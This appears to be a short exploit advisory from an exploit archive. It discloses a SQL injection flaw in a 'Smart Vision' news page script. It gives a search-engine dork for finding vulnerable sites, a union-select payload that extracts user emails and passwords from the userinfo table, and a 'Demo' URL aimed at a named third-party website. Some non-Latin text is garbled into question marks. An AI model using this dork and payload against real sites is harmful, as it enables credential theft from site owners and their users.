Smart Vision Design (newsdetail.php) SQL Injection Vulnerability

====================================================================
Smart Vision.com Design (newsdetail.php) SQL Injection Vulnerability
====================================================================


##########################################################

[+] Smart Vision.com Design (newsdetail.php) SQL Injection Vulnerability

[+] Discovered by : killerboy

[+] Published: 2010-06-04


##########################################################



# Script Homepage:

# http://www.esmart-vision.com/

[+]Dork: "inurl:newsdetail.php?id=" "Copyright 2010 ? Smart Vision.com All rights reserved"

[+] SQL Injection


??? http://[target]/newsdetail.php?id=[SQL]

??? http://[target]/newsdetail.php?id=-9999+union+select+1,2,concat_ws%28char%2858%29,Email,0x3a,Password%29,4,5,6,7+from+userinfo--


Demo : ??? http://www.mouafaqbtc.com/newsdetail.php?id=1

?????? ??? http://www.mouafaqbtc.com/newsdetail.php?id=-9999+union+select+1,2,concat_ws%28char%2858%29,Email,0x3a,Password%29,4,5,6,7+from+userinfo--

##########################################################

Special Thanks to :

my love

greetings to my friends:


R4mz3x, Z3us, Hackpsycho, K0ol, Iquitoshack, Rayok3nt, and all my friends... !!!


##########################################################



#  0day.today [2018-04-09]  #